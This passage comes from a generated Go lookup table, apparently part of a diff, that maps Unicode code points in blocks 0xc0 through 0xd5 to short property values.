0x2fe9: 0x0080, + 0x2fea: 0x0080, 0x2feb: 0x0080, 0x2fec: 0x0080, 0x2fed: 0x0080, 0x2fee: 0x0080, 0x2fef: 0x0080, + 0x2ff0: 0x0080, 0x2ff1: 0x0080, 0x2ff2: 0x0080, 0x2ff3: 0x0080, 0x2ff4: 0x0080, 0x2ff5: 0x0080, + 0x2ff6: 0x0080, 0x2ff7: 0x0080, 0x2ff8: 0x0080, 0x2ff9: 0x0080, 0x2ffa: 0x0080, 0x2ffb: 0x0080, + 0x2ffc: 0x0080, 0x2ffd: 0x00c3, + // Block 0xc0, offset 0x3000 + 0x3000: 0x00c0, 0x3001: 0x00c0, 0x3002: 0x00c0, 0x3003: 0x00c0, 0x3004: 0x00c0, 0x3005: 0x00c0, + 0x3006: 0x00c0, 0x3007: 0x00c0, 0x3008: 0x00c0, 0x3009: 0x00c0, 0x300a: 0x00c0, 0x300b: 0x00c0, + 0x300c: 0x00c0, 0x300d: 0x00c0, 0x300e: 0x00c0, 0x300f: 0x00c0, 0x3010: 0x00c0, 0x3011: 0x00c0, + 0x3012: 0x00c0, 0x3013: 0x00c0, 0x3014: 0x00c0, 0x3015: 0x00c0, 0x3016: 0x00c0, 0x3017: 0x00c0, + 0x3018: 0x00c0, 0x3019: 0x00c0, 0x301a: 0x00c0, 0x301b: 0x00c0, 0x301c: 0x00c0, + 0x3020: 0x00c0, 0x3021: 0x00c0, 0x3022: 0x00c0, 0x3023: 0x00c0, + 0x3024: 0x00c0, 0x3025: 0x00c0, 0x3026: 0x00c0, 0x3027: 0x00c0, 0x3028: 0x00c0, 0x3029: 0x00c0, + 0x302a: 0x00c0, 0x302b: 0x00c0, 0x302c: 0x00c0, 0x302d: 0x00c0, 0x302e: 0x00c0, 0x302f: 0x00c0, + 0x3030: 0x00c0, 0x3031: 0x00c0, 0x3032: 0x00c0, 0x3033: 0x00c0, 0x3034: 0x00c0, 0x3035: 0x00c0, + 0x3036: 0x00c0, 0x3037: 0x00c0, 0x3038: 0x00c0, 0x3039: 0x00c0, 0x303a: 0x00c0, 0x303b: 0x00c0, + 0x303c: 0x00c0, 0x303d: 0x00c0, 0x303e: 0x00c0, 0x303f: 0x00c0, + // Block 0xc1, offset 0x3040 + 0x3040: 0x00c0, 0x3041: 0x00c0, 0x3042: 0x00c0, 0x3043: 0x00c0, 0x3044: 0x00c0, 0x3045: 0x00c0, + 0x3046: 0x00c0, 0x3047: 0x00c0, 0x3048: 0x00c0, 0x3049: 0x00c0, 0x304a: 0x00c0, 0x304b: 0x00c0, + 0x304c: 0x00c0, 0x304d: 0x00c0, 0x304e: 0x00c0, 0x304f: 0x00c0, 0x3050: 0x00c0, + 0x3060: 0x00c3, 0x3061: 0x0080, 0x3062: 0x0080, 0x3063: 0x0080, + 0x3064: 0x0080, 0x3065: 0x0080, 0x3066: 0x0080, 0x3067: 0x0080, 0x3068: 0x0080, 0x3069: 0x0080, + 0x306a: 0x0080, 0x306b: 0x0080, 0x306c: 0x0080, 0x306d: 0x0080, 0x306e: 0x0080, 0x306f: 0x0080, + 0x3070: 0x0080, 0x3071: 0x0080, 0x3072: 0x0080, 0x3073: 0x0080, 0x3074: 0x0080, 0x3075: 0x0080, + 0x3076: 0x0080, 0x3077: 0x0080, 0x3078: 0x0080, 0x3079: 0x0080, 0x307a: 0x0080, 0x307b: 0x0080, + // Block 0xc2, offset 0x3080 + 0x3080: 0x00c0, 0x3081: 0x00c0, 0x3082: 0x00c0, 0x3083: 0x00c0, 0x3084: 0x00c0, 0x3085: 0x00c0, + 0x3086: 0x00c0, 0x3087: 0x00c0, 0x3088: 0x00c0, 0x3089: 0x00c0, 0x308a: 0x00c0, 0x308b: 0x00c0, + 0x308c: 0x00c0, 0x308d: 0x00c0, 0x308e: 0x00c0, 0x308f: 0x00c0, 0x3090: 0x00c0, 0x3091: 0x00c0, + 0x3092: 0x00c0, 0x3093: 0x00c0, 0x3094: 0x00c0, 0x3095: 0x00c0, 0x3096: 0x00c0, 0x3097: 0x00c0, + 0x3098: 0x00c0, 0x3099: 0x00c0, 0x309a: 0x00c0, 0x309b: 0x00c0, 0x309c: 0x00c0, 0x309d: 0x00c0, + 0x309e: 0x00c0, 0x309f: 0x00c0, 0x30a0: 0x0080, 0x30a1: 0x0080, 0x30a2: 0x0080, 0x30a3: 0x0080, + 0x30ad: 0x00c0, 0x30ae: 0x00c0, 0x30af: 0x00c0, + 0x30b0: 0x00c0, 0x30b1: 0x00c0, 0x30b2: 0x00c0, 0x30b3: 0x00c0, 0x30b4: 0x00c0, 0x30b5: 0x00c0, + 0x30b6: 0x00c0, 0x30b7: 0x00c0, 0x30b8: 0x00c0, 0x30b9: 0x00c0, 0x30ba: 0x00c0, 0x30bb: 0x00c0, + 0x30bc: 0x00c0, 0x30bd: 0x00c0, 0x30be: 0x00c0, 0x30bf: 0x00c0, + // Block 0xc3, offset 0x30c0 + 0x30c0: 0x00c0, 0x30c1: 0x0080, 0x30c2: 0x00c0, 0x30c3: 0x00c0, 0x30c4: 0x00c0, 0x30c5: 0x00c0, + 0x30c6: 0x00c0, 0x30c7: 0x00c0, 0x30c8: 0x00c0, 0x30c9: 0x00c0, 0x30ca: 0x0080, + 0x30d0: 0x00c0, 0x30d1: 0x00c0, + 0x30d2: 0x00c0, 0x30d3: 0x00c0, 0x30d4: 0x00c0, 0x30d5: 0x00c0, 0x30d6: 0x00c0, 0x30d7: 0x00c0, + 0x30d8: 0x00c0, 0x30d9: 0x00c0, 0x30da: 0x00c0, 0x30db: 0x00c0, 0x30dc: 0x00c0, 0x30dd: 0x00c0, + 0x30de: 0x00c0, 0x30df: 0x00c0, 0x30e0: 0x00c0, 0x30e1: 0x00c0, 0x30e2: 0x00c0, 0x30e3: 0x00c0, + 0x30e4: 0x00c0, 0x30e5: 0x00c0, 0x30e6: 0x00c0, 0x30e7: 0x00c0, 0x30e8: 0x00c0, 0x30e9: 0x00c0, + 0x30ea: 0x00c0, 0x30eb: 0x00c0, 0x30ec: 0x00c0, 0x30ed: 0x00c0, 0x30ee: 0x00c0, 0x30ef: 0x00c0, + 0x30f0: 0x00c0, 0x30f1: 0x00c0, 0x30f2: 0x00c0, 0x30f3: 0x00c0, 0x30f4: 0x00c0, 0x30f5: 0x00c0, + 0x30f6: 0x00c3, 0x30f7: 0x00c3, 0x30f8: 0x00c3, 0x30f9: 0x00c3, 0x30fa: 0x00c3, + // Block 0xc4, offset 0x3100 + 0x3100: 0x00c0, 0x3101: 0x00c0, 0x3102: 0x00c0, 0x3103: 0x00c0, 0x3104: 0x00c0, 0x3105: 0x00c0, + 0x3106: 0x00c0, 0x3107: 0x00c0, 0x3108: 0x00c0, 0x3109: 0x00c0, 0x310a: 0x00c0, 0x310b: 0x00c0, + 0x310c: 0x00c0, 0x310d: 0x00c0, 0x310e: 0x00c0, 0x310f: 0x00c0, 0x3110: 0x00c0, 0x3111: 0x00c0, + 0x3112: 0x00c0, 0x3113: 0x00c0, 0x3114: 0x00c0, 0x3115: 0x00c0, 0x3116: 0x00c0, 0x3117: 0x00c0, + 0x3118: 0x00c0, 0x3119: 0x00c0, 0x311a: 0x00c0, 0x311b: 0x00c0, 0x311c: 0x00c0, 0x311d: 0x00c0, + 0x311f: 0x0080, 0x3120: 0x00c0, 0x3121: 0x00c0, 0x3122: 0x00c0, 0x3123: 0x00c0, + 0x3124: 0x00c0, 0x3125: 0x00c0, 0x3126: 0x00c0, 0x3127: 0x00c0, 0x3128: 0x00c0, 0x3129: 0x00c0, + 0x312a: 0x00c0, 0x312b: 0x00c0, 0x312c: 0x00c0, 0x312d: 0x00c0, 0x312e: 0x00c0, 0x312f: 0x00c0, + 0x3130: 0x00c0, 0x3131: 0x00c0, 0x3132: 0x00c0, 0x3133: 0x00c0, 0x3134: 0x00c0, 0x3135: 0x00c0, + 0x3136: 0x00c0, 0x3137: 0x00c0, 0x3138: 0x00c0, 0x3139: 0x00c0, 0x313a: 0x00c0, 0x313b: 0x00c0, + 0x313c: 0x00c0, 0x313d: 0x00c0, 0x313e: 0x00c0, 0x313f: 0x00c0, + // Block 0xc5, offset 0x3140 + 0x3140: 0x00c0, 0x3141: 0x00c0, 0x3142: 0x00c0, 0x3143: 0x00c0, + 0x3148: 0x00c0, 0x3149: 0x00c0, 0x314a: 0x00c0, 0x314b: 0x00c0, + 0x314c: 0x00c0, 0x314d: 0x00c0, 0x314e: 0x00c0, 0x314f: 0x00c0, 0x3150: 0x0080, 0x3151: 0x0080, + 0x3152: 0x0080, 0x3153: 0x0080, 0x3154: 0x0080, 0x3155: 0x0080, + // Block 0xc6, offset 0x3180 + 0x3180: 0x00c0, 0x3181: 0x00c0, 0x3182: 0x00c0, 0x3183: 0x00c0, 0x3184: 0x00c0, 0x3185: 0x00c0, + 0x3186: 0x00c0, 0x3187: 0x00c0, 0x3188: 0x00c0, 0x3189: 0x00c0, 0x318a: 0x00c0, 0x318b: 0x00c0, + 0x318c: 0x00c0, 0x318d: 0x00c0, 0x318e: 0x00c0, 0x318f: 0x00c0, 0x3190: 0x00c0, 0x3191: 0x00c0, + 0x3192: 0x00c0, 0x3193: 0x00c0, 0x3194: 0x00c0, 0x3195: 0x00c0, 0x3196: 0x00c0, 0x3197: 0x00c0, + 0x3198: 0x00c0, 0x3199: 0x00c0, 0x319a: 0x00c0, 0x319b: 0x00c0, 0x319c: 0x00c0, 0x319d: 0x00c0, + 0x31a0: 0x00c0, 0x31a1: 0x00c0, 0x31a2: 0x00c0, 0x31a3: 0x00c0, + 0x31a4: 0x00c0, 0x31a5: 0x00c0, 0x31a6: 0x00c0, 0x31a7: 0x00c0, 0x31a8: 0x00c0, 0x31a9: 0x00c0, + 0x31b0: 0x00c0, 0x31b1: 0x00c0, 0x31b2: 0x00c0, 0x31b3: 0x00c0, 0x31b4: 0x00c0, 0x31b5: 0x00c0, + 0x31b6: 0x00c0, 0x31b7: 0x00c0, 0x31b8: 0x00c0, 0x31b9: 0x00c0, 0x31ba: 0x00c0, 0x31bb: 0x00c0, + 0x31bc: 0x00c0, 0x31bd: 0x00c0, 0x31be: 0x00c0, 0x31bf: 0x00c0, + // Block 0xc7, offset 0x31c0 + 0x31c0: 0x00c0, 0x31c1: 0x00c0, 0x31c2: 0x00c0, 0x31c3: 0x00c0, 0x31c4: 0x00c0, 0x31c5: 0x00c0, + 0x31c6: 0x00c0, 0x31c7: 0x00c0, 0x31c8: 0x00c0, 0x31c9: 0x00c0, 0x31ca: 0x00c0, 0x31cb: 0x00c0, + 0x31cc: 0x00c0, 0x31cd: 0x00c0, 0x31ce: 0x00c0, 0x31cf: 0x00c0, 0x31d0: 0x00c0, 0x31d1: 0x00c0, + 0x31d2: 0x00c0, 0x31d3: 0x00c0, + 0x31d8: 0x00c0, 0x31d9: 0x00c0, 0x31da: 0x00c0, 0x31db: 0x00c0, 0x31dc: 0x00c0, 0x31dd: 0x00c0, + 0x31de: 0x00c0, 0x31df: 0x00c0, 0x31e0: 0x00c0, 0x31e1: 0x00c0, 0x31e2: 0x00c0, 0x31e3: 0x00c0, + 0x31e4: 0x00c0, 0x31e5: 0x00c0, 0x31e6: 0x00c0, 0x31e7: 0x00c0, 0x31e8: 0x00c0, 0x31e9: 0x00c0, + 0x31ea: 0x00c0, 0x31eb: 0x00c0, 0x31ec: 0x00c0, 0x31ed: 0x00c0, 0x31ee: 0x00c0, 0x31ef: 0x00c0, + 0x31f0: 0x00c0, 0x31f1: 0x00c0, 0x31f2: 0x00c0, 0x31f3: 0x00c0, 0x31f4: 0x00c0, 0x31f5: 0x00c0, + 0x31f6: 0x00c0, 0x31f7: 0x00c0, 0x31f8: 0x00c0, 0x31f9: 0x00c0, 0x31fa: 0x00c0, 0x31fb: 0x00c0, + // Block 0xc8, offset 0x3200 + 0x3200: 0x00c0, 0x3201: 0x00c0, 0x3202: 0x00c0, 0x3203: 0x00c0, 0x3204: 0x00c0, 0x3205: 0x00c0, + 0x3206: 0x00c0, 0x3207: 0x00c0, 0x3208: 0x00c0, 0x3209: 0x00c0, 0x320a: 0x00c0, 0x320b: 0x00c0, + 0x320c: 0x00c0, 0x320d: 0x00c0, 0x320e: 0x00c0, 0x320f: 0x00c0, 0x3210: 0x00c0, 0x3211: 0x00c0, + 0x3212: 0x00c0, 0x3213: 0x00c0, 0x3214: 0x00c0, 0x3215: 0x00c0, 0x3216: 0x00c0, 0x3217: 0x00c0, + 0x3218: 0x00c0, 0x3219: 0x00c0, 0x321a: 0x00c0, 0x321b: 0x00c0, 0x321c: 0x00c0, 0x321d: 0x00c0, + 0x321e: 0x00c0, 0x321f: 0x00c0, 0x3220: 0x00c0, 0x3221: 0x00c0, 0x3222: 0x00c0, 0x3223: 0x00c0, + 0x3224: 0x00c0, 0x3225: 0x00c0, 0x3226: 0x00c0, 0x3227: 0x00c0, + 0x3230: 0x00c0, 0x3231: 0x00c0, 0x3232: 0x00c0, 0x3233: 0x00c0, 0x3234: 0x00c0, 0x3235: 0x00c0, + 0x3236: 0x00c0, 0x3237: 0x00c0, 0x3238: 0x00c0, 0x3239: 0x00c0, 0x323a: 0x00c0, 0x323b: 0x00c0, + 0x323c: 0x00c0, 0x323d: 0x00c0, 0x323e: 0x00c0, 0x323f: 0x00c0, + // Block 0xc9, offset 0x3240 + 0x3240: 0x00c0, 0x3241: 0x00c0, 0x3242: 0x00c0, 0x3243: 0x00c0, 0x3244: 0x00c0, 0x3245: 0x00c0, + 0x3246: 0x00c0, 0x3247: 0x00c0, 0x3248: 0x00c0, 0x3249: 0x00c0, 0x324a: 0x00c0, 0x324b: 0x00c0, + 0x324c: 0x00c0, 0x324d: 0x00c0, 0x324e: 0x00c0, 0x324f: 0x00c0, 0x3250: 0x00c0, 0x3251: 0x00c0, + 0x3252: 0x00c0, 0x3253: 0x00c0, 0x3254: 0x00c0, 0x3255: 0x00c0, 0x3256: 0x00c0, 0x3257: 0x00c0, + 0x3258: 0x00c0, 0x3259: 0x00c0, 0x325a: 0x00c0, 0x325b: 0x00c0, 0x325c: 0x00c0, 0x325d: 0x00c0, + 0x325e: 0x00c0, 0x325f: 0x00c0, 0x3260: 0x00c0, 0x3261: 0x00c0, 0x3262: 0x00c0, 0x3263: 0x00c0, + 0x326f: 0x0080, + 0x3270: 0x00c0, 0x3271: 0x00c0, 0x3272: 0x00c0, 0x3273: 0x00c0, 0x3274: 0x00c0, 0x3275: 0x00c0, + 0x3276: 0x00c0, 0x3277: 0x00c0, 0x3278: 0x00c0, 0x3279: 0x00c0, 0x327a: 0x00c0, + 0x327c: 0x00c0, 0x327d: 0x00c0, 0x327e: 0x00c0, 0x327f: 0x00c0, + // Block 0xca, offset 0x3280 + 0x3280: 0x00c0, 0x3281: 0x00c0, 0x3282: 0x00c0, 0x3283: 0x00c0, 0x3284: 0x00c0, 0x3285: 0x00c0, + 0x3286: 0x00c0, 0x3287: 0x00c0, 0x3288: 0x00c0, 0x3289: 0x00c0, 0x328a: 0x00c0, + 0x328c: 0x00c0, 0x328d: 0x00c0, 0x328e: 0x00c0, 0x328f: 0x00c0, 0x3290: 0x00c0, 0x3291: 0x00c0, + 0x3292: 0x00c0, 0x3294: 0x00c0, 0x3295: 0x00c0, 0x3297: 0x00c0, + 0x3298: 0x00c0, 0x3299: 0x00c0, 0x329a: 0x00c0, 0x329b: 0x00c0, 0x329c: 0x00c0, 0x329d: 0x00c0, + 0x329e: 0x00c0, 0x329f: 0x00c0, 0x32a0: 0x00c0, 0x32a1: 0x00c0, 0x32a3: 0x00c0, + 0x32a4: 0x00c0, 0x32a5: 0x00c0, 0x32a6: 0x00c0, 0x32a7: 0x00c0, 0x32a8: 0x00c0, 0x32a9: 0x00c0, + 0x32aa: 0x00c0, 0x32ab: 0x00c0, 0x32ac: 0x00c0, 0x32ad: 0x00c0, 0x32ae: 0x00c0, 0x32af: 0x00c0, + 0x32b0: 0x00c0, 0x32b1: 0x00c0, 0x32b3: 0x00c0, 0x32b4: 0x00c0, 0x32b5: 0x00c0, + 0x32b6: 0x00c0, 0x32b7: 0x00c0, 0x32b8: 0x00c0, 0x32b9: 0x00c0, 0x32bb: 0x00c0, + 0x32bc: 0x00c0, + // Block 0xcb, offset 0x32c0 + 0x32c0: 0x00c0, 0x32c1: 0x00c0, 0x32c2: 0x00c0, 0x32c3: 0x00c0, 0x32c4: 0x00c0, 0x32c5: 0x00c0, + 0x32c6: 0x00c0, 0x32c7: 0x00c0, 0x32c8: 0x00c0, 0x32c9: 0x00c0, 0x32ca: 0x00c0, 0x32cb: 0x00c0, + 0x32cc: 0x00c0, 0x32cd: 0x00c0, 0x32ce: 0x00c0, 0x32cf: 0x00c0, 0x32d0: 0x00c0, 0x32d1: 0x00c0, + 0x32d2: 0x00c0, 0x32d3: 0x00c0, 0x32d4: 0x00c0, 0x32d5: 0x00c0, 0x32d6: 0x00c0, 0x32d7: 0x00c0, + 0x32d8: 0x00c0, 0x32d9: 0x00c0, 0x32da: 0x00c0, 0x32db: 0x00c0, 0x32dc: 0x00c0, 0x32dd: 0x00c0, + 0x32de: 0x00c0, 0x32df: 0x00c0, 0x32e0: 0x00c0, 0x32e1: 0x00c0, 0x32e2: 0x00c0, 0x32e3: 0x00c0, + 0x32e4: 0x00c0, 0x32e5: 0x00c0, 0x32e6: 0x00c0, 0x32e7: 0x00c0, 0x32e8: 0x00c0, 0x32e9: 0x00c0, + 0x32ea: 0x00c0, 0x32eb: 0x00c0, 0x32ec: 0x00c0, 0x32ed: 0x00c0, 0x32ee: 0x00c0, 0x32ef: 0x00c0, + 0x32f0: 0x00c0, 0x32f1: 0x00c0, 0x32f2: 0x00c0, 0x32f3: 0x00c0, 0x32f4: 0x00c0, 0x32f5: 0x00c0, + 0x32f6: 0x00c0, + // Block 0xcc, offset 0x3300 + 0x3300: 0x00c0, 0x3301: 0x00c0, 0x3302: 0x00c0, 0x3303: 0x00c0, 0x3304: 0x00c0, 0x3305: 0x00c0, + 0x3306: 0x00c0, 0x3307: 0x00c0, 0x3308: 0x00c0, 0x3309: 0x00c0, 0x330a: 0x00c0, 0x330b: 0x00c0, + 0x330c: 0x00c0, 0x330d: 0x00c0, 0x330e: 0x00c0, 0x330f: 0x00c0, 0x3310: 0x00c0, 0x3311: 0x00c0, + 0x3312: 0x00c0, 0x3313: 0x00c0, 0x3314: 0x00c0, 0x3315: 0x00c0, + 0x3320: 0x00c0, 0x3321: 0x00c0, 0x3322: 0x00c0, 0x3323: 0x00c0, + 0x3324: 0x00c0, 0x3325: 0x00c0, 0x3326: 0x00c0, 0x3327: 0x00c0, + // Block 0xcd, offset 0x3340 + 0x3340: 0x00c0, 0x3341: 0x0080, 0x3342: 0x0080, 0x3343: 0x0080, 0x3344: 0x0080, 0x3345: 0x0080, + 0x3347: 0x0080, 0x3348: 0x0080, 0x3349: 0x0080, 0x334a: 0x0080, 0x334b: 0x0080, + 0x334c: 0x0080, 0x334d: 0x0080, 0x334e: 0x0080, 0x334f: 0x0080, 0x3350: 0x0080, 0x3351: 0x0080, + 0x3352: 0x0080, 0x3353: 0x0080, 0x3354: 0x0080, 0x3355: 0x0080, 0x3356: 0x0080, 0x3357: 0x0080, + 0x3358: 0x0080, 0x3359: 0x0080, 0x335a: 0x0080, 0x335b: 0x0080, 0x335c: 0x0080, 0x335d: 0x0080, + 0x335e: 0x0080, 0x335f: 0x0080, 0x3360: 0x0080, 0x3361: 0x0080, 0x3362: 0x0080, 0x3363: 0x0080, + 0x3364: 0x0080, 0x3365: 0x0080, 0x3366: 0x0080, 0x3367: 0x0080, 0x3368: 0x0080, 0x3369: 0x0080, + 0x336a: 0x0080, 0x336b: 0x0080, 0x336c: 0x0080, 0x336d: 0x0080, 0x336e: 0x0080, 0x336f: 0x0080, + 0x3370: 0x0080, 0x3372: 0x0080, 0x3373: 0x0080, 0x3374: 0x0080, 0x3375: 0x0080, + 0x3376: 0x0080, 0x3377: 0x0080, 0x3378: 0x0080, 0x3379: 0x0080, 0x337a: 0x0080, + // Block 0xce, offset 0x3380 + 0x3380: 0x00c0, 0x3381: 0x00c0, 0x3382: 0x00c0, 0x3383: 0x00c0, 0x3384: 0x00c0, 0x3385: 0x00c0, + 0x3388: 0x00c0, 0x338a: 0x00c0, 0x338b: 0x00c0, + 0x338c: 0x00c0, 0x338d: 0x00c0, 0x338e: 0x00c0, 0x338f: 0x00c0, 0x3390: 0x00c0, 0x3391: 0x00c0, + 0x3392: 0x00c0, 0x3393: 0x00c0, 0x3394: 0x00c0, 0x3395: 0x00c0, 0x3396: 0x00c0, 0x3397: 0x00c0, + 0x3398: 0x00c0, 0x3399: 0x00c0, 0x339a: 0x00c0, 0x339b: 0x00c0, 0x339c: 0x00c0, 0x339d: 0x00c0, + 0x339e: 0x00c0, 0x339f: 0x00c0, 0x33a0: 0x00c0, 0x33a1: 0x00c0, 0x33a2: 0x00c0, 0x33a3: 0x00c0, + 0x33a4: 0x00c0, 0x33a5: 0x00c0, 0x33a6: 0x00c0, 0x33a7: 0x00c0, 0x33a8: 0x00c0, 0x33a9: 0x00c0, + 0x33aa: 0x00c0, 0x33ab: 0x00c0, 0x33ac: 0x00c0, 0x33ad: 0x00c0, 0x33ae: 0x00c0, 0x33af: 0x00c0, + 0x33b0: 0x00c0, 0x33b1: 0x00c0, 0x33b2: 0x00c0, 0x33b3: 0x00c0, 0x33b4: 0x00c0, 0x33b5: 0x00c0, + 0x33b7: 0x00c0, 0x33b8: 0x00c0, + 0x33bc: 0x00c0, 0x33bf: 0x00c0, + // Block 0xcf, offset 0x33c0 + 0x33c0: 0x00c0, 0x33c1: 0x00c0, 0x33c2: 0x00c0, 0x33c3: 0x00c0, 0x33c4: 0x00c0, 0x33c5: 0x00c0, + 0x33c6: 0x00c0, 0x33c7: 0x00c0, 0x33c8: 0x00c0, 0x33c9: 0x00c0, 0x33ca: 0x00c0, 0x33cb: 0x00c0, + 0x33cc: 0x00c0, 0x33cd: 0x00c0, 0x33ce: 0x00c0, 0x33cf: 0x00c0, 0x33d0: 0x00c0, 0x33d1: 0x00c0, + 0x33d2: 0x00c0, 0x33d3: 0x00c0, 0x33d4: 0x00c0, 0x33d5: 0x00c0, 0x33d7: 0x0080, + 0x33d8: 0x0080, 0x33d9: 0x0080, 0x33da: 0x0080, 0x33db: 0x0080, 0x33dc: 0x0080, 0x33dd: 0x0080, + 0x33de: 0x0080, 0x33df: 0x0080, 0x33e0: 0x00c0, 0x33e1: 0x00c0, 0x33e2: 0x00c0, 0x33e3: 0x00c0, + 0x33e4: 0x00c0, 0x33e5: 0x00c0, 0x33e6: 0x00c0, 0x33e7: 0x00c0, 0x33e8: 0x00c0, 0x33e9: 0x00c0, + 0x33ea: 0x00c0, 0x33eb: 0x00c0, 0x33ec: 0x00c0, 0x33ed: 0x00c0, 0x33ee: 0x00c0, 0x33ef: 0x00c0, + 0x33f0: 0x00c0, 0x33f1: 0x00c0, 0x33f2: 0x00c0, 0x33f3: 0x00c0, 0x33f4: 0x00c0, 0x33f5: 0x00c0, + 0x33f6: 0x00c0, 0x33f7: 0x0080, 0x33f8: 0x0080, 0x33f9: 0x0080, 0x33fa: 0x0080, 0x33fb: 0x0080, + 0x33fc: 0x0080, 0x33fd: 0x0080, 0x33fe: 0x0080, 0x33ff: 0x0080, + // Block 0xd0, offset 0x3400 + 0x3400: 0x00c0, 0x3401: 0x00c0, 0x3402: 0x00c0, 0x3403: 0x00c0, 0x3404: 0x00c0, 0x3405: 0x00c0, + 0x3406: 0x00c0, 0x3407: 0x00c0, 0x3408: 0x00c0, 0x3409: 0x00c0, 0x340a: 0x00c0, 0x340b: 0x00c0, + 0x340c: 0x00c0, 0x340d: 0x00c0, 0x340e: 0x00c0, 0x340f: 0x00c0, 0x3410: 0x00c0, 0x3411: 0x00c0, + 0x3412: 0x00c0, 0x3413: 0x00c0, 0x3414: 0x00c0, 0x3415: 0x00c0, 0x3416: 0x00c0, 0x3417: 0x00c0, + 0x3418: 0x00c0, 0x3419: 0x00c0, 0x341a: 0x00c0, 0x341b: 0x00c0, 0x341c: 0x00c0, 0x341d: 0x00c0, + 0x341e: 0x00c0, + 0x3427: 0x0080, 0x3428: 0x0080, 0x3429: 0x0080, + 0x342a: 0x0080, 0x342b: 0x0080, 0x342c: 0x0080, 0x342d: 0x0080, 0x342e: 0x0080, 0x342f: 0x0080, + // Block 0xd1, offset 0x3440 + 0x3460: 0x00c0, 0x3461: 0x00c0, 0x3462: 0x00c0, 0x3463: 0x00c0, + 0x3464: 0x00c0, 0x3465: 0x00c0, 0x3466: 0x00c0, 0x3467: 0x00c0, 0x3468: 0x00c0, 0x3469: 0x00c0, + 0x346a: 0x00c0, 0x346b: 0x00c0, 0x346c: 0x00c0, 0x346d: 0x00c0, 0x346e: 0x00c0, 0x346f: 0x00c0, + 0x3470: 0x00c0, 0x3471: 0x00c0, 0x3472: 0x00c0, 0x3474: 0x00c0, 0x3475: 0x00c0, + 0x347b: 0x0080, + 0x347c: 0x0080, 0x347d: 0x0080, 0x347e: 0x0080, 0x347f: 0x0080, + // Block 0xd2, offset 0x3480 + 0x3480: 0x00c0, 0x3481: 0x00c0, 0x3482: 0x00c0, 0x3483: 0x00c0, 0x3484: 0x00c0, 0x3485: 0x00c0, + 0x3486: 0x00c0, 0x3487: 0x00c0, 0x3488: 0x00c0, 0x3489: 0x00c0, 0x348a: 0x00c0, 0x348b: 0x00c0, + 0x348c: 0x00c0, 0x348d: 0x00c0, 0x348e: 0x00c0, 0x348f: 0x00c0, 0x3490: 0x00c0, 0x3491: 0x00c0, + 0x3492: 0x00c0, 0x3493: 0x00c0, 0x3494: 0x00c0, 0x3495: 0x00c0, 0x3496: 0x0080, 0x3497: 0x0080, + 0x3498: 0x0080, 0x3499: 0x0080, 0x349a: 0x0080, 0x349b: 0x0080, + 0x349f: 0x0080, 0x34a0: 0x00c0, 0x34a1: 0x00c0, 0x34a2: 0x00c0, 0x34a3: 0x00c0, + 0x34a4: 0x00c0, 0x34a5: 0x00c0, 0x34a6: 0x00c0, 0x34a7: 0x00c0, 0x34a8: 0x00c0, 0x34a9: 0x00c0, + 0x34aa: 0x00c0, 0x34ab: 0x00c0, 0x34ac: 0x00c0, 0x34ad: 0x00c0, 0x34ae: 0x00c0, 0x34af: 0x00c0, + 0x34b0: 0x00c0, 0x34b1: 0x00c0, 0x34b2: 0x00c0, 0x34b3: 0x00c0, 0x34b4: 0x00c0, 0x34b5: 0x00c0, + 0x34b6: 0x00c0, 0x34b7: 0x00c0, 0x34b8: 0x00c0, 0x34b9: 0x00c0, + 0x34bf: 0x0080, + // Block 0xd3, offset 0x34c0 + 0x34c0: 0x00c0, 0x34c1: 0x00c0, 0x34c2: 0x00c0, 0x34c3: 0x00c0, 0x34c4: 0x00c0, 0x34c5: 0x00c0, + 0x34c6: 0x00c0, 0x34c7: 0x00c0, 0x34c8: 0x00c0, 0x34c9: 0x00c0, 0x34ca: 0x00c0, 0x34cb: 0x00c0, + 0x34cc: 0x00c0, 0x34cd: 0x00c0, 0x34ce: 0x00c0, 0x34cf: 0x00c0, 0x34d0: 0x00c0, 0x34d1: 0x00c0, + 0x34d2: 0x00c0, 0x34d3: 0x00c0, 0x34d4: 0x00c0, 0x34d5: 0x00c0, 0x34d6: 0x00c0, 0x34d7: 0x00c0, + 0x34d8: 0x00c0, 0x34d9: 0x00c0, 0x34da: 0x00c0, 0x34db: 0x00c0, 0x34dc: 0x00c0, 0x34dd: 0x00c0, + 0x34de: 0x00c0, 0x34df: 0x00c0, 0x34e0: 0x00c0, 0x34e1: 0x00c0, 0x34e2: 0x00c0, 0x34e3: 0x00c0, + 0x34e4: 0x00c0, 0x34e5: 0x00c0, 0x34e6: 0x00c0, 0x34e7: 0x00c0, 0x34e8: 0x00c0, 0x34e9: 0x00c0, + 0x34ea: 0x00c0, 0x34eb: 0x00c0, 0x34ec: 0x00c0, 0x34ed: 0x00c0, 0x34ee: 0x00c0, 0x34ef: 0x00c0, + 0x34f0: 0x00c0, 0x34f1: 0x00c0, 0x34f2: 0x00c0, 0x34f3: 0x00c0, 0x34f4: 0x00c0, 0x34f5: 0x00c0, + 0x34f6: 0x00c0, 0x34f7: 0x00c0, + 0x34fc: 0x0080, 0x34fd: 0x0080, 0x34fe: 0x00c0, 0x34ff: 0x00c0, + // Block 0xd4, offset 0x3500 + 0x3500: 0x00c0, 0x3501: 0x00c3, 0x3502: 0x00c3, 0x3503: 0x00c3, 0x3505: 0x00c3, + 0x3506: 0x00c3, + 0x350c: 0x00c3, 0x350d: 0x00c3, 0x350e: 0x00c3, 0x350f: 0x00c3, 0x3510: 0x00c0, 0x3511: 0x00c0, + 0x3512: 0x00c0, 0x3513: 0x00c0, 0x3515: 0x00c0, 0x3516: 0x00c0, 0x3517: 0x00c0, + 0x3519: 0x00c0, 0x351a: 0x00c0, 0x351b: 0x00c0, 0x351c: 0x00c0, 0x351d: 0x00c0, + 0x351e: 0x00c0, 0x351f: 0x00c0, 0x3520: 0x00c0, 0x3521: 0x00c0, 0x3522: 0x00c0, 0x3523: 0x00c0, + 0x3524: 0x00c0, 0x3525: 0x00c0, 0x3526: 0x00c0, 0x3527: 0x00c0, 0x3528: 0x00c0, 0x3529: 0x00c0, + 0x352a: 0x00c0, 0x352b: 0x00c0, 0x352c: 0x00c0, 0x352d: 0x00c0, 0x352e: 0x00c0, 0x352f: 0x00c0, + 0x3530: 0x00c0, 0x3531: 0x00c0, 0x3532: 0x00c0, 0x3533: 0x00c0, 0x3534: 0x00c0, 0x3535: 0x00c0, + 0x3538: 0x00c3, 0x3539: 0x00c3, 0x353a: 0x00c3, + 0x353f: 0x00c6, + // Block 0xd5, offset 0x3540 + 0x3540: 0x0080, 0x3541: 0x0080, 0x3542: 0x0080, 